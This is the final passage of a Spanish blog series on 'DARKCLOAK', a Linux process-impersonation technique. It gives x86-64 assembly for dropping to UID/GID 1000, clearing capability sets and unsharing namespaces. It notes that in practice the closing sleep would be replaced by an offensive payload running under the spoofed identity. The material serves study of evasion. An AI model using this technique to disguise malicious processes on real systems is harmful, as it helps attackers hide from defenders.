Fases 7-8: Desescalada de UIDs y GIDs

Se reducen los UIDs al de un usuario no privilegiado. Si se tiene CAP_SETUID (bit 7), se usa el UID 1000 (convencionalmente el primer usuario no-root del sistema). Si no se tiene, se restauran los UIDs originales almacenados en la fase 2:

; Desescalada de UIDs

; .bss

    datap resb 24   ; dos __user_cap_data_struct contiguas (12 bytes cada una)

; .text

user_degrade:

    ; comprobamos si tenemos la capability CAP_SETUID en el effective set
    xor r14, r14
    mov r14d, [rel datap]       ; datap[0].effective (caps 0-31)
    bt r14d, 7                  
    jc user_impersonate         ; CF=1 → CAP_SETUID disponible

    ; sin CAP_SETUID, se restauran los UIDs iniciales
    mov rax, 117                ; SETRESUID
    mov edi, [rel ruid_val]     ; RUID inicial
    mov esi, [rel euid_val]     ; EUID inicial
    mov edx, [rel suid_val]     ; SUID inicial
    syscall
    jmp capabilities_degrade

user_impersonate:

    ; con CAP_SETUID se establecen los UIDs a 1000
    mov rax, 117                ; SETRESUID
    mov rdi, 1000               ; RUID = 1000
    mov rsi, 1000               ; EUID = 1000
    mov rdx, 1000               ; SUID = 1000
    syscall

La misma lógica se aplica a los GIDs con la capability CAP_SETGID (bit 6) y la syscall setresgid.

Fase 9: Desescalada de capabilities

Se vacían los conjuntos effective e inheritable, conservando intacto el conjunto permitted. Cualquier capability presente en permitted puede activarse posteriormente en los demás conjuntos cuando sea necesario.

; Desescalada de capabilities

; .bss

    datap resb 24   ; dos __user_cap_data_struct contiguas (12 bytes cada una)


; .text

capabilities_degrade:

    ; se vacía el effective y el inheritable set
    xor r14, r14
    mov [rel datap],    r14d    ; datap[0].effective   (caps  0-31) ← 0
    mov [rel datap+12], r14d    ; datap[1].effective   (caps 32-63) ← 0
    mov [rel datap+8],  r14d    ; datap[0].inheritable (caps  0-31) ← 0
    mov [rel datap+20], r14d    ; datap[1].inheritable (caps 32-63) ← 0

    mov rax, 126                ; CAPSET
    lea rdi, [rel hdrp]
    lea rsi, [rel datap]
    syscall

Tras esta operación el proceso no tiene capabilities activas (effective set vacío).

Fase 10: Aislamiento por namespaces

DARKCLOAK crea nuevos namespaces para aislar al proceso del resto del sistema:

; Aislamiento mediante namespaces

; .text

    ; UNSHARE
    mov rax, 272                
    mov rdi, 0x78000000         ; CLONE_NEWUSER | CLONE_NEWPID | CLONE_NEWNET | CLONE_NEWIPC
    syscall

CLONE_NEWUSER se procesa primero y otorga capabilities completas dentro del nuevo user namespace, lo que permite la creación de los otros tres (CLONE_NEWPID, CLONE_NEWNET, CLONE_NEWIPC) sin necesidad de ser root en el namespace original. El proceso queda con PID propio dentro del nuevo namespace, pila de red vacía e IPC aislado.

Fase 11: Espera y salida

El proceso permanece en estado de suspensión durante 120 segundos para permitir la observación de los cambios realizados. Transcurrido este intervalo, la ejecución finaliza. En una implementación ad-hoc, esta etapa sería reemplazada por el payload ofensivo, que se ejecutaría bajo la capa de identidad suplantada.

; Espera y salida

; .data

    timespec:
        dq 120  ; segundos
        dq 0    ; nanosegundos

; .text     

        ; NANOSLEEP
        mov rax, 35                 
    lea rdi, [rel timespec]     ; 120 segundos
    xor rsi, rsi
    syscall

        ; EXIT
    mov rax, 60                 
    xor rdi, rdi
    syscall

Estado Final

Una vez completadas las fases, todas las fuentes consultables han sido modificadas. A partir de este momento, la información visible del proceso deja de corresponder a la del estado inicial y pasa a reflejar la del proceso suplantado.

Estado final del proceso

Agradecimientos

Gracias por llegar hasta aquí.

Si encuentras errores o quieres mejorar/ampliar el artículo, el contenido del blog está abierto a Pull Requests. Toda contribución es bienvenida.

¡Hasta la próxima serie! ;)